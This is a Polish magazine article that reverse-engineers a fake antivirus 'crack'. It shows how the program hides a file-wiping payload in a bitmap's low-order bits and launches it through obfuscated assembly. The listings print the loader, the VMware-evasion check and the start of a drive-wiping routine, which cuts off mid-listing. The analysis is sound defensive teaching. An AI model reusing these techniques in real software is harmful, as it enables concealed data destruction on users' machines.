
Pod koniec września 2004 roku na liście 
dyskusyjnej pl.comp.programming po-
jawił się post o temacie UNIWERSAL-

NY CRACK DO MKS-VIRA!!!! Znajdował się 
w nim odnośnik do  archiwum crack.zip z ma-
łym plikiem wykonywalnym wewnątrz. Z wy-
powiedzi użytkowników wynikało, że program 
ten nie był crackiem – w dodatku najprawdo-
podobniej zawierał podejrzany kod. Link do te-
go samego pliku znalazł się również w postach 
na przynajmniej pięciu innych listach dyskusyj-
nych (gdzie nie udawał już cracka, ale na przy-
kład łamacz haseł Gadu-Gadu). Ciekawość 
sprawiła, że zdecydowaliśmy się na analizę po-
dejrzanego pliku.

Taka analiza składa się z dwóch etapów. 
Najpierw należy przyjrzeć się ogólnej budowie 
pliku wykonywalnego i zwrócić uwagę na jego 
listę zasobów (patrz Ramka Zasoby w progra-
mach dla Windows) oraz ustalić język progra-
mowania, w którym napisano program. Trze-
ba także sprawdzić, czy plik wykonywalny zo-
stał skompresowany (na przykład kompreso-
rami FSG, UPX, Aspack). Dzięki tym informa-
cjom będzie wiadomo, czy od razu przejść do 
analizy kodu, czy też – gdyby okazało się, że 
jest on skompresowany – najpierw rozpakować 

Warto zastanowić się nad 
uruchomieniem pobranego 
z sieci przypadkowego 
pliku. Choć nie każdy niesie 
ze sobą zagrożenie, łatwo 
trafić na złośliwy program 
wykorzystujący naszą naiwność. 
Możemy za nią słono zapłacić. 
Zanim więc uruchomimy 
nieznany program, spróbujmy 
przeanalizować jego działanie.

plik. Analiza kodu skompresowanych plików nie 
ma bowiem sensu.

Drugim i najważniejszym etapem będzie 
analiza samego podejrzanego programu oraz, 
ewentualnie, wyłuskanie z pozornie niewin-
nych zasobów aplikacji ukrytego kodu. Pozwoli 
to dowiedzieć się, jak działa program i jakie są 
skutki jego uruchomienia. Jak się przekonamy, 
taka analiza jest uzasadniona. Rzekomy crack 
z pewnością nie należy do nieszkodliwych pro-
gramów. Jeśli więc Czytelnik natrafi kiedykol-
wiek na równie podejrzany plik, gorąco zachę-
camy do przeprowadzenia podobnej analizy.    

Szybkie rozpoznanie
W pobranym archiwum crack.zip znajdował się 
jeden plik: patch.exe, który miał niecałe 200 

Z artykułu nauczysz się...
•  jak w systemie Windows przeprowadzić analizę 

nieznanego programu.

Powinieneś wiedzieć...
•  powinieneś znać przynajmniej podstawy pro-

gramowania w asemblerze i C++.

KB objętości. Uwaga! Gorąco zale-
camy zmianę rozszerzenia tego pli-
ku przed rozpoczęciem jego bada-
nia, na przykład na patch.bin. Uchro-
ni nas to przed przypadkowym uru-
chomieniem nieznanego programu 
– skutki takiego błędu mogłyby być 
bardzo poważne.

W pierwszym etapie analizy mu-
simy poznać budowę podejrzanego 
pliku. Do tego celu doskonale nada-
je się identyfikator plików wykonywal-
nych PEiD. Wbudowana weń baza 
danych umożliwia określenie języka 
użytego do stworzenia aplikacji oraz 
zidentyfikowanie najpopularniejszych 
typów kompresorów i protektorów pli-
ków wykonywalnych. Można też sko-
rzystać z nieco starszego identyfika-
tora plików FileInfo, nie jest on jednak 
tak dynamicznie rozwijany jak PEiD 
i otrzymany wynik może być mniej 
precyzyjny.

Jakie więc informacje uzyskali-
śmy za pomocą PEiD? Strukturalnie 
patch.exe jest 32-bitowym plikiem 
wykonywalnym w charakterystycz-
nym dla platformy Windows forma-
cie Portable Executable (PE). Widać 
(patrz Rysunek 1), że program zo-
stał napisany przy użyciu MS Visual 
C++ 6.0. Dzięki PEiD wiemy także, 
iż nie został on ani skompresowany, 

Zasoby w programach 
dla Windows
Zasoby w aplikacjach dla systemów 
Windows to dane definiujące dostęp-
ne dla użytkownika elementy progra-
mu. Dzięki nim interfejs użytkownika 
jest jednolity, zaś zastąpienie jednego 
z elementów aplikacji bardzo łatwe. Za-
soby są oddzielone od kodu programu. 
O ile edycja samego pliku wykonywal-
nego jest praktycznie niemożliwa, o ty-
le modyfikacja zasobu (na przykład za-
miana tła okna) nie nastręcza trudności 
– wystarczy użyć jednego z wielu do-
stępnych w sieci narzędzi, na przykład 
opisywanego eXeScope.

Zasoby mogą mieć postać prawie 
każdego formatu danych. Zwykle są to 
pliki multimedialne (m. in. GIF, JPEG, 
AVI, WAVE), jednak mogą być także 
osobnymi programami wykonywalny-
mi, plikami tekstowymi czy dokumenta-
mi HTML i RTF. 

Rysunek 1. Identyfikator PEiD w akcji

Rysunek 2. Edytor zasobów eXeScope

Rysunek 3. Procedura WinMain() w deasemblerze IDA

ani zabezpieczony. Pozostałe infor-
macje, takie jak rodzaj podsystemu, 
offset pliku czy tak zwany punkt wej-
ściowy (ang. entrypoint) są dla nas 
w tej chwili nieistotne.

Wiedza o strukturze podejrzane-
go pliku to nie wszystko – koniecz-
ne jest poznanie zasobów aplikacji. 

Wykorzystamy do tego celu program 
eXeScope, który umożliwia przeglą-
danie i edytowanie zasobów w pli-
kach wykonywalnych (patrz Rysu-
nek 2).

Przeglądając plik w edytorze za-
sobów natrafimy jedynie na standar-
dowe typy danych – bitmapę, jedno 

okno dialogowe, ikonę oraz manifest 
(okna aplikacji z tym zasobem wyko-
rzystują w systemach Windows XP 
nowe style graficzne, bez niego wy-
świetlany jest standardowy, znany 
z systemów Windows 9x interfejs 
graficzny). Na pierwszy rzut oka wy-
daje się więc, że plik patch.exe jest 
zupełnie niewinną aplikacją. Pozory 
jednak mogą mylić. Aby zdobyć pew-
ność, musimy przeprowadzić żmud-
ną analizę zdeasemblowanego pro-
gramu i – jeśli będzie to konieczne 
– odnaleźć dodatkowy, ukryty we-
wnątrz pliku kod.

Analiza kodu
Do przeprowadzenia analizy kodu 
podejrzanej aplikacji wykorzystamy 
znakomity (komercyjny) deasembler 
IDA firmy DataRescue. IDA uchodzi 
obecnie za najlepsze tego typu na-
rzędzie – umożliwia szczegółową 
analizę prawie wszystkich rodzajów 
plików wykonywalnych. Wersja de-
monstracyjna, dostępna na stronie 
internetowej producenta, umożliwia 
jedynie analizę plików Portable Exe-
cutable – ale to nam w zupełności 
wystarczy, ponieważ patch.exe jest 
właśnie w tym formacie.

Procedura WinMain()
Po załadowaniu pliku patch.exe do 
dekompilatora IDA (patrz Rysu-
nek 3) znajdziemy się w procedurze 
WinMain(), która jest punktem wej-
ściowym dla aplikacji napisanych 
w języku C++. W rzeczywistości 
punktem wejściowym każdej aplikacji 
jest tak zwany entrypoint (ang. punkt 
wejścia), którego adres zapisany jest 
w nagłówku pliku PE i od którego za-
czyna się wykonywanie kodu aplika-
cji. Jednak w przypadku programów 
C++ kod z prawdziwego punktu wej-
ściowego odpowiedzialny jest jedynie 
za inicjalizację wewnętrznych zmien-
nych – programista nie ma na niego 
wpływu. Nas zaś interesuje jedynie 
to, co zostało napisane przez progra-
mistę. Procedura WinMain() widoczna 
jest na Listingu 1.

Taka postać kodu może być trud-
na do analizy – aby ułatwić jego zro-
zumienie, przetłumaczymy go na ję-
zyk C++. Z prawie każdego deadli-

Listing 1. Procedura WinMain()

.text:00401280 ; __stdcall WinMain(x,x,x,x)

.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p

.text:00401280

.text:00401280 hInstance   = dword ptr  4

.text:00401280

.text:00401280             mov     eax, [esp+hInstance]

.text:00401284             push    0 ; dwInitParam

.text:00401286             push    offset DialogFunc ; lpDialogFunc

.text:0040128B             push    0 ; hWndParent

.text:0040128D             push    65h ; lpTemplateName

.text:0040128F             push    eax ; hInstance

.text:00401290             mov     dword_405554, eax

.text:00401295             call    ds:DialogBoxParamA 

.text:00401295                     ; Create a model dialog box from a

.text:00401295                     ; dialog box template resource

.text:0040129B             mov     eax, hHandle

.text:004012A0             push    INFINITE ; dwMilliseconds

.text:004012A2             push    eax ; hHandle

.text:004012A3             call    ds:WaitForSingleObject

.text:004012A9             retn    10h

.text:004012A9 _WinMain@16 endp

Listing 2. Procedura WinMain() przetłumaczona na język C++

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

  LPSTR lpCmdLine, int nShowCmd)
{

 // wyświetl okno dialogowe

 DialogBoxParam(hInstance, IDENTYFIKATOR_OKNA,

          NULL, DialogFunc, 0);

 // zakończ program, dopiero wtedy,

        // gdy zwolniony zostanie uchwyt hHandle

 return WaitForSingleObject(hHandle, INFINITE);
}

Listing 3. Fragment kodu odpowiedzialny za zapis do zmiennej 

.text:004010F7  mov     edx, offset lpInterfejs

.text:004010FC  mov     eax, lpWskaznikKodu

.text:00401101  jmp     short loc_401104 ; tajemniczy "call"

.text:00401103  db 0B8h ; śmieci, tzw. "junk"

.text:00401104  loc_401104: ; CODE XREF: .text:00401101j

.text:00401104  call    eax ; tajemniczy "call"

.text:00401106  db    0 ; śmieci

.text:00401107  db    0 ; jak wyżej

.text:00401108  mov     hHandle, eax ; ustawienie uchwytu

.text:0040110D  pop     edi

.text:0040110E  mov     eax, 1

.text:00401113  pop     esi

.text:00401114  retn

stingu (zdeasemblowanego kodu) 
można, z większymi lub mniejszymi 
trudnościami, zrekonstruować kod 
w języku programowania, w którym 
oryginalnie został napisany. Narzę-
dzia takie jak IDA dostarczają jedy-
nie podstawowych informacji, takich 
jak konwencje wywoływania funk-
cji (na przykład stdcall czy cdecl). 
Choć istnieją specjalne pluginy dla 
IDA umożliwiające prostą dekompi-
lację kodu x86, to wynik ich działania 
pozostawia wiele do życzenia.

Aby dokonać takiej translacji, na-
leży przeanalizować strukturę funk-
cji, wyodrębnić zmienne lokalne 
i wreszcie odnaleźć w kodzie odwo-
łania do zmiennych globalnych. In-
formacje dostarczane przez IDA wy-
starczą do ustalenia, jakie parametry 
(i ile) przyjmuje analizowana funk-
cja. Dodatkowo dzięki deasemblero-
wi dowiemy się, jakie wartości zwra-
ca dana funkcja, z jakich procedur 
WinApi korzysta oraz do jakich da-
nych się odwołuje.  Naszym począt-
kowym zadaniem jest zdefiniowanie 
typu funkcji, konwencji jej wywołania 
i typów parametrów. Następnie, wy-
korzystując dane z IDA, definiujemy 
zmienne lokalne funkcji. 

Gdy ogólny zarys funkcji zosta-
nie stworzony, można wziąć się za 
odtworzenie kodu. Pierwszym kro-
kiem jest odbudowa wywołań innych 
funkcji (WinApi, ale nie tylko, bo tak-
że odwołań do wewnętrznych funkcji 
programu) – na przykład dla funkcji 
WinApi analizujemy kolejno zapa-
miętywane parametry, które zapi-
sywane są na stosie instrukcją push 
w kolejności odwrotnej (od ostat-
niego parametru do pierwszego), 
niż następuje ich zapis w wywoła-
niu funkcji w oryginalnym kodzie. Po 
zgromadzeniu informacji o wszyst-
kich parametrach można odtwo-
rzyć oryginalne odwołanie do funk-
cji. Najtrudniejszym elementem re-
konstrukcji kodu programu (w języku 
wysokiego poziomu) jest odtworze-
nie logiki działania – umiejętne roz-
poznanie operatorów logicznych (or, 
xor, not) i arytmetycznych (dodawa-
nie, odejmowanie, mnożenie, dziele-
nie) oraz instrukcji warunkowych, (if, 
else, switch) czy wreszcie pętli (for, 

while, do). Dopiero wszystkie te in-
formacje zebrane w całość pozwala-
ją przełożyć kod asemblera na język 
użyty do stworzenia aplikacji.

Wynika z tego, że translacja ko-
du na język wysokiego poziomu wy-
maga ludzkiej pracy oraz doświad-
czenia w badaniu kodu i programo-
waniu. Na szczęście przełożenie nie 
jest konieczne do naszej analizy, je-
dynie ją ułatwia. Przetłumaczoną 
na C++ procedurę WinMain() można 
znaleźć na Listingu 2.

Jak widzimy, w programie naj-
pierw wywoływana jest procedu-
ra DialogBoxParam(), wyświetlają-
ca okno dialogowe. Jego identyfi-
kator określa okno zapisane w za-
sobach pliku wykonywalnego. Na-
stępnie wywoływana jest procedu-

ra WaitForSingleObject() i program 
kończy działanie. Z tego kodu moż-
na wywnioskować, że program wy-
świetla okno dialogowe, następnie 
po jego zamknięciu (gdy już nie bę-
dzie widoczne) czeka tak długo, do-
póki nie zostanie zwolniony uchwyt 
hHandle. Mówiąc najprościej: pro-
gram nie zakończy działania, dopóki 
nie zakończy się wykonywanie inne-
go kodu, zainicjowanego wcześniej 
przez WinMain(). Najczęściej w ten 
sposób czeka się na zakończenie 
pracy kodu uruchomionego w od-
dzielnym wątku (ang. thread).

Cóż taki prosty program mo-
że chcieć zrobić tuż po zamknięciu 
głównego okna? Najprawdopodob-
niej coś złego. Trzeba więc znaleźć 
w kodzie miejsce, w którym ustawia-

Rysunek 4. Okno referencji w programie IDA

Listing 4. Kod odpowiedzialny za zapis do zmiennej w edytorze Hiew

.00401101: EB01       jmps .000401104     ; skok w środek instrukcji

.00401103: B8FFD00000 mov  eax,00000D0FF  ; ukryta instrukcja

.00401108: A3E4564000 mov  [004056E4],eax ; ustawienie uchwytu

.0040110D: 5F         pop  edi

.0040110E: B801000000 mov  eax,000000001

.00401113: 5E         pop  esi

.00401114: C3         retn

Listing 5. Zmienna lpWskaznikKodu

.text:00401074 push ecx

.text:00401075 push 0

.text:00401077 mov  dwRozmiarBitmapy, ecx ; zapisz rozmiar bitmapy

.text:0040107D call ds:VirtualAlloc ; alokuj pamięć, adres zaalokowanego

.text:0040107D                      ; bloku znajdzie się w rejestrze eax

.text:00401083 mov  ecx, dwRozmiarBitmapy

.text:00401089 mov  edi, eax        ; edi = adres zaalokowanej pamięci

.text:0040108B mov  edx, ecx

.text:0040108D xor  eax, eax

.text:0040108F shr  ecx, 2

.text:00401092 mov  lpWskaznikKodu, edi ; zapisz adres zaalokowanej pamięci

.text:00401092                          ; do zmiennej lpWskaznikKodu

ny jest uchwyt hHandle – skoro jest 
odczytywany, to wcześniej musi zo-
stać gdzieś zapisany. Aby to zrobić 
w deasemblerze IDA, należy klik-
nąć nazwę zmiennej hHandle. W ten 
sposób znajdziemy się w miejscu jej 
położenia w sekcji danych (uchwyt 

hHandle to po prostu 32-bitowa war-
tość typu DWORD):

.data:004056E4 ; HANDLE hHandle

.data:004056E4 hHandle

  dd 0

  ; DATA XREF: .text:00401108w

.data:004056E4

  ; WinMain(x,x,x,x)+1Br

Po prawej stronie od nazwy zmien-
nej znajdują się tak zwane referen-
cje (patrz Rysunek 4) – informa-
cje o miejscach w kodzie, z których 
zmienna jest odczytywana lub mo-
dyfikowana.

Tajemnicze referencje
Przyjrzyjmy się referencjom uchwy-
tu hHandle. Jednym z tych miejsc jest 
przedstawiona wcześniej procedura 
WinMain(), w której zmienna jest od-
czytywana (mówi nam o tym litera r, 
od angielskiego read). Bardziej god-
na uwagi jest jednak druga referen-
cja (na liście znajduje się jako pierw-
sza), której opis mówi, że zmienna 
hHandle jest w tym miejscu modyfiko-
wana (litera w, od angielskiego wri-
te). Teraz wystarczy w nią kliknąć, 
aby znaleźć się we fragmencie kodu 
odpowiedzialnym za zapis do zmien-
nej. Fragment ten przedstawiono na 
Listingu 3.

Krótkie wyjaśnienie do tego ko-
du: najpierw do rejestru eax wczy-
tywany jest wskaźnik do obsza-
ru, w którym znajduje się kod (mov 
eax, lpWskaznikKodu). Następnie 
wykonywany jest skok do instrukcji 
wywołującej procedurę (jmp short 

loc _ 401104). Gdy procedura ta zo-
stanie już wywołana, w rejestrze eax 
znajdzie się wartość uchwytu (zwy-
kle wszystkie procedury zwraca-
ją wartości i kody błędów właśnie 
w tym rejestrze procesora), która na-
stępnie zostanie zapisana do zmien-
nej hHandle.

Ktoś, kto dobrze zna asembler, 
na pewno zauważy, że ten fragment 
kodu wygląda podejrzanie (niestan-
dardowo w porównaniu do zwykłe-
go skompilowanego kodu C++). De-
asembler IDA nie pozwala jednak 
na ukrywanie czy zamazywanie in-
strukcji. Skorzystajmy więc z edyto-
ra szesnastkowego Hiew, aby jesz-
cze raz prześledzić ten sam kod (Li-
sting 4).

Nie widać tu instrukcji call eax, 
gdyż jej opcody (bajty instrukcji) zo-
stały wstawione w środek instruk-
cji mov eax, 0xD0FF. Dopiero po za-

Listing 6. Fragment kodu odpowiedzialny za wydobycie danych 
z bitmapy

.text:004010BE kolejny_bajt: ; CODE XREF: .text:004010F4j

.text:004010BE  mov     edi, lpWskaznikKodu

.text:004010C4  xor     ecx, ecx

.text:004010C6  jmp     short loc_4010CE

.text:004010C8 kolejny_bit: ; CODE XREF: .text:004010E9j

.text:004010C8  mov     edi, lpWskaznikKodu

.text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj

.text:004010CE             ; .text:004010C6j

.text:004010CE  mov     edx, lpWskaznikBitmapy

.text:004010D4  mov     bl, [edi+eax] ; "poskładany" bajt kodu

.text:004010D7  mov     dl, [edx+esi] ; kolejny bajt składowej kolorów RGB

.text:004010DA  and     dl, 1 ; maskuj najmniej znaczący bit składowej 
kolorów

.text:004010DD  shl     dl, cl ; bit składowej RGB << i++

.text:004010DF  or      bl, dl ; złóż z bitów składowej kolorów jeden bajt

.text:004010E1  inc     esi

.text:004010E2  inc     ecx

.text:004010E3  mov     [edi+eax], bl ; zapisz bajt kodu

.text:004010E6  cmp     ecx, 8 ; licznik 8 bitów (8 bitów = 1 bajt)

.text:004010E9  jb      short kolejny_bit

.text:004010EB  mov     ecx, dwRozmiarBitmapy

.text:004010F1  inc     eax

.text:004010F2  cmp     esi, ecx

.text:004010F4  jb      short kolejny_bajt

.text:004010F6  pop     ebx

.text:004010F7

.text:004010F7 loc_4010F7: ; CODE XREF: .text:004010B7j

.text:004010F7  mov     edx, offset lpInterfejs

.text:004010FC  mov     eax, lpWskaznikKodu

.text:00401101  jmp     short loc_401104 ; tajemniczy "call"

.text:00401103  db 0B8h ; śmieci, tzw. "junk"

.text:00401104 loc_401104: ; CODE XREF: .text:00401101j

.text:00401104  call    eax             ; tajemniczy "call"

Listing 7. Kod obliczający rozmiar bitmapy

.text:0040105B ; w rejestrze EAX znajduje się wskaźnik

.text:0040105B ; do początku danych bitmapy

.text:0040105B  mov     ecx, [eax+8] ; wysokość bitmapy

.text:0040105E  push    40h

.text:00401060  imul    ecx, [eax+4] ; szerokość * wysokość = ilość

.text:00401060                       ; bajtów opisujących piksele

.text:00401064  push    3000h

.text:00401069  add     eax, 40 ; rozmiar nagłówka bitmapy

.text:0040106C  lea     ecx, [ecx+ecx*2] ; każdy piksel opisują 3 bajty,

.text:0040106C           ; więc wynik szerokość * wysokość należy

.text:0040106C           ; pomnożyć jeszcze razy 3 (RGB)

.text:0040106F  mov     lpWskaznikBitmapy, eax 

.text:0040106F   ; zapisz wskaźnik do danych kolejnych pikseli

.text:00401074  push    ecx

.text:00401075  push    0

.text:00401077  mov     dwRozmiarBitmapy, ecx ; zapisz rozmiar bitmapy

mazaniu pierwszego bajtu instrukcji 
mov zobaczymy, jaki kod zostanie na-
prawdę wykonany:

.00401101: EB01

  jmps .000401104

  ; skok w środek instrukcji

.00401103: 90

  nop

  ; zamazany 1 bajt instrukcji "mov"

.00401104: FFD0

  call eax

  ; ukryta instrukcja

Wróćmy do kodu wywoływanego in-
strukcją call eax. Należałoby się do-
wiedzieć, dokąd prowadzi adres za-
pisany w rejestrze eax. Powyżej in-
strukcji call eax znajduje się instruk-
cja, która do rejestru eax wpisuje war-
tość zmiennej  lpWskaznikKodu (nazwę 
zmiennej można w IDA dowolnie zmie-
nić, żeby łatwiej było zrozumieć kod 
– wystarczy na nią najechać kurso-
rem, wcisnąć klawisz N i wprowadzić 
nową nazwę). Aby dowiedzieć się, co 
zostało zapisane do tej zmiennej, zno-
wu posłużymy się referencjami:

.data:004056E8

  lpWskaznikKodu  dd 0

  ; DATA XREF: .text:00401092w

.data:004056E8

  ; .text:004010A1r

.data:004056E8

  ; .text:004010BEr

.data:004056E8

  ; .text:004010C8r

.data:004056E8

  ; .text:004010FCr

Zmienna lpWskaznikKodu domyślnie 
ustawiona jest na 0 i przyjmuje inną 
wartość tylko w jednym miejscu ko-
du. Klikając na referencję zapisu do 
zmiennej, znajdziemy się w kodzie 
przedstawionym na Listingu 5. Jak 
widać, zmienna lpWskaznikKodu usta-
wiana jest na adres pamięci zaaloko-
wanej funkcją VirtualAlloc().

Pozostaje nam sprawdzić, co 
kryje się w tym tajemniczym frag-
mencie kodu.

Podejrzana bitmapa
Przeglądając wcześniejsze fragmen-
ty deadlistingu można zauważyć, że 

Listing 8. Kod pobierający dane z bitmapy przetłumaczony na język 
C++

unsigned int i = 0, j = 0, k;
unsigned int dwRozmiarBitmapy;

// oblicz ile bajtów zajmują wszystkie piksele w pliku bitmapy

dwRozmiarBitmapy = szerokosc_bitmapy * wysokosc_bitmapy * 3;

while (i < dwRozmiarBitmapy) {        
        // poskładaj 8 bitów składowych barw RGB w 1 bajt kodu

        for (k = 0; k < 8; k++) {
                lpWskaznikKodu[j] |= (lpWskaznikBitmapy[i++] & 1) << k;

        }

 // kolejny bajt kodu

        j++;

}

Listing 9. Struktura interfejs

00000000 interfejs       struc ; (sizeof=0X48)

00000000 hKernel32       dd ?  ; uchwyt biblioteki kernel32.dll

00000004 hUser32         dd ?  ; uchwyt biblioteki user32.dll

00000008 GetProcAddress  dd ?  ; adresy procedur WinApi

0000000C CreateThread    dd ?

00000010 bIsWindowsNT    dd ?

00000014 CreateFileA     dd ?

00000018 GetDriveTypeA   dd ?

0000001C SetEndOfFile    dd ?

00000020 SetFilePointer  dd ?

00000024 CloseHandle     dd ?

00000028 SetFileAttributesA dd ?

0000002C SetCurrentDirectoryA dd ?

00000030 FindFirstFileA  dd ?

00000034 FindNextFileA   dd ?

00000038 FindClose       dd ?

0000003C Sleep           dd ?

00000040 MessageBoxA     dd ?

00000044 stFindData      dd ?  ; WIN32_FIND_DATA

00000048 interfejs       ends

Listing 10. Uruchomienie przez program główny dodatkowego wątku

; na początku wykonywania tego kodu w rejestrze eax znajduje

; się adres kodu, w rejestrze edx znajduje się adres struktury

; zapewniającej dostęp do funkcji WinApi (interfejs)

ukryty_kod:

; eax + 16 = początek kodu, który zostanie uruchomiony w wątku

  lea     ecx, kod_wykonywany_w_watku[eax] 
  push    eax
  push    esp
  push    0
  push    edx  ; parametr dla procedury wątku
               ; adres struktury interfejs

  push    ecx  ; adres procedury do uruchomienia w wątku
  push    0
  push    0
  call    [edx+interfejs.CreateThread] ; uruchom kod w wątku
loc_10:

   pop     ecx
   sub     dword ptr [esp], -2
   retn

z zasobów pliku patch.exe ładowa-
na jest jego jedyna bitmapa. Następ-
nie ze składowych barw RGB kolej-
nych pikseli składane są bajty ukry-
tego kodu, które następnie zapisy-
wane są do wcześniej zaalokowa-
nej pamięci (której adres zapisany 
jest w zmiennej lpWskaznikKodu). Klu-
czowy fragment kodu, odpowiedzial-
ny za wydobycie danych z bitmapy, 
przedstawiono na Listingu 6.

W kodzie na Listingu 6 można 
wyróżnić dwie pętle. Jedna z nich 
(wewnętrzna) odpowiada za po-
bieranie kolejnych bajtów tworzą-
cych składowe kolorów RGB (Red 
– czerwony, Green – zielony, Blue 
– niebieski) pikseli bitmapy. Bitma-
pa w naszym przypadku zapisa-
na jest w formacie 24bpp (24 bity 
na piksel), więc każdy piksel opi-
sany jest trzema ułożonymi jeden 

za drugim bajtami koloru w forma-
cie RGB.

Z kolejnych ośmiu pobranych baj-
tów maskowane są najmniej znaczą-
ce bity (instrukcją and dl, 1), które 
poskładane w całość tworzą jeden 
bajt kodu. Gdy ten bajt zostanie już 
złożony, zostaje ostatecznie zapi-
sany do bufora lpWskaznikKodu. Na-
stępnie w pętli zewnętrznej indeks 
dla wskaźnika lpWskaznikKodu jest 
inkrementowany tak, by wskazywał 
na miejsce, w którym będzie można 
umieścić kolejny bajt kodu – po czym 
wraca do pobierania kolejnych ośmiu 
bajtów składowych kolorów.

Pętla zewnętrzna wykonuje się 
tak długo, aż ze wszystkich pikseli 
bitmapy zostaną wydobyte potrzeb-
ne bajty ukrytego kodu. Liczba po-
wtórzeń pętli jest równa liczbie pik-
seli bitmapy, pobieranej bezpośred-
nio z jej nagłówka, a konkretnie z ta-
kich danych jak szerokość i wyso-
kość (w pikselach) – widać to na Li-
stingu 7.

Po wczytaniu bitmapy z zaso-
bów pliku wykonywalnego w reje-
strze eax znajdzie się adres począt-
ku bitmapy, który określa jej nagłó-
wek. Z nagłówka pobierane są wy-
miary bitmapy, następnie szero-
kość mnożona jest przez wysokość 
bitmapy (w pikselach), co w wyni-
ku da nam łączną liczbę pikseli bit-
mapy. Jednak w związku z tym, że 
każdy piksel opisany jest trzema 
bajtami, wynik mnożony jest do-
datkowo tyle właśnie razy. Otrzy-
mujemy w ten sposób finalny roz-
miar danych opisujących wszyst-
kie piksele. Aby ułatwić zrozumie-
nie, przełożony na C++ kod pobie-
rający dane z bitmapy przedstawia-
my na Listingu 8.

Nasze poszukiwania zakończy-
ły się sukcesem – wiemy już, gdzie 
ukryty jest podejrzany kod. Taj-
ne dane zostały zapisane na po-
zycjach najmniej znaczących bitów 
kolejnych składowych RGB pikse-
li. Dla ludzkiego oka zmodyfikowa-
na w ten sposób bitmapa jest prak-
tycznie nie do odróżnienia od ory-
ginalnej – różnice są zbyt subtelne, 
w dodatku musielibyśmy posiadać 
pierwotny obrazek.

Listing 11. Dodatkowy wątek – wykonanie ukrytego kodu

kod_wykonywany_w_watku: ; DATA XREF: seg000:00000000r

  push    ebp
  mov     ebp, esp
  push    esi
  push    edi
  push    ebx
  mov     ebx, [ebp+8]   ; offset interfejsu z
                         ; adresami funkcji WinApi

; pod WindowsNT nie wykonuj instrukcji "in"

; spowodowałoby to zawieszenie się aplikacji

  cmp     [ebx+interfejs.bIsWindowsNT], 1
  jz      short nie_wykonuj
; wykrywanie wirtualnej maszyny Vmware, jeśli wykryto,

; że program działa pod emulatorem, kod kończy działanie

  mov     ecx, 0Ah
  mov     eax, 'VMXh'
  mov     dx, 'VX'
  in      eax, dx
  cmp     ebx, 'VMXh' ; wykrywanie VMware
  jz      loc_1DB
nie_wykonuj: ; CODE XREF: seg000:00000023j

   mov     ebx, [ebp+8] ; offset interfejsu z adresami funkcji WinApi
   call    loc_54
aCreatefilea    db 'CreateFileA',0

loc_54: ; CODE XREF: seg000:00000043p

  push    [ebx+interfejs.hKernel32]
  call    [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
  mov     [ebx+interfejs.CreateFileA], eax
  call    loc_6E
aSetendoffile   db 'SetEndOfFile',0

loc_6E: ; CODE XREF: seg000:0000005Cp

  push    [ebx+interfejs.hKernel32]
  call    [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
  mov     [ebx+interfejs.SetEndOfFile], eax
...

  call    loc_161
aSetfileattribu db 'SetFileAttributesA',0

loc_161: ; CODE XREF: seg000:00000149 p

  push    [ebx+interfejs.hKernel32]
  call    [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
  mov     [ebx+interfejs.SetFileAttributesA], eax
  lea     edi, [ebx+interfejs.stFindData] ; WIN32_FIND_DATA
  call    skanuj_dyski ; skanowanie stacji dysków
  sub     eax, eax
  inc     eax
  pop     ebx
  pop     edi
  pop     esi
  leave
  retn    4 ; tutaj kończy się działanie wątku

Ktoś, kto zadał sobie tyle tru-
du, by ukryć mały kawałek kodu, 
z pewnością nie miał czystych inten-
cji. Przed nami kolejne niełatwe za-
danie – ukryty kod trzeba wydobyć 
z bitmapy, a następnie zbadać jego 
zawartość.

Metoda wydobycia kodu
Samo wyizolowanie ukrytego ko-
du nie jest skomplikowane – można 
po prostu uruchomić podejrzany plik 
patch.exe i, posługując się debug-
gerem (na przykład SoftIce czy Ol-
lyDbg), zrzucić przetworzony już kod 
z pamięci. Lepiej jednak nie ryzyko-
wać – nie wiadomo, jakie skutki mo-
że przynieść przypadkowe urucho-
mienie programu.

Podczas tej analizy wykorzysta-
liśmy własnoręcznie napisany pro-
sty program, który bez uruchamiania 
aplikacji wydobywa z bitmapy ukry-
ty kod (plik decoder.exe autorstwa 
Bartosza Wójcika, wraz z kodem 
źródłowym i zrzuconym już ukry-
tym kodem, znajduje się na Hakin9 
Live). Jego działanie polega na za-
ładowaniu bitmapy z zasobów pliku 
patch.exe i wydobyciu z niej ukryte-
go kodu. Program decoder.exe uży-
wa opisanego wcześniej algorytmu, 
zastosowanego w oryginalnym pro-
gramie patch.exe. 

Ukryty kod
Czas na analizę wydobytego ukry-
tego kodu. Całość (bez komenta-
rzy) zawiera się w niecałym kilobaj-
cie, można ją znaleźć na dołączo-
nym do pisma Hakin9 Live. Tutaj 
omówimy ogólną zasadę działania 
kodu oraz jego najbardziej interesu-
jące fragmenty.

Aby badany kod mógł funkcjo-
nować, musi mieć dostęp do funkcji 
systemu Windows (WinApi). W tym 
przypadku dostęp do funkcji WinApi 
realizowany jest poprzez specjalną 
strukturę interfejs (patrz Listing 9), 
której adres przekazywany jest w re-
jestrze edx do ukrytego kodu. Struk-
tura ta jest zapisana w sekcji danych 
głównego programu.

Przed uruchomieniem ukryte-
go kodu najpierw ładowane są bi-
blioteki systemowe kernel32.dll 

Listing 12. Procedura skanująca system w poszukiwaniu dysków

skanuj_dyski proc near ; CODE XREF: seg000:0000016Cp
var_28 = byte ptr -28h
  pusha
  push    '\:Y' ; skanowanie dysków zaczyna się od dysku Y:\
nastepny_dysk: ; CODE XREF: skanuj_dyski+20j
  push    esp ; adres nazwy dysku na stosie (Y:\, X:\, W:\ itd.)
  call    [ebx+interfejs.GetDriveTypeA] ; GetDriveTypeA
  sub     eax, 3
  cmp     eax, 1
  ja      short cdrom_itp ; kolejna litera dysku twardego
  mov     edx, esp
  call    wymaz_pliki
cdrom_itp: ; CODE XREF: skanuj_dyski+10j
  dec     byte ptr [esp+0] ; kolejna litera dysku twardego
  cmp     byte ptr [esp+0], 'C' ; sprawdz, czy doszło do dysku C:\
  jnb     short nastepny_dysk ; powtarzaj skanowanie kolejnego dysku
  pop     ecx
  popa
  retn
skanuj_dyski endp

Listing 13. Procedura wyszukująca pliki na partycji 

wymaz_pliki proc near ; CODE XREF: skanuj_dyski+14p, wymaz_pliki+28p
  pusha
  push    edx
  call    [ebx+interfejs.SetCurrentDirectoryA]
  push    '*' ; maska szukanych plików
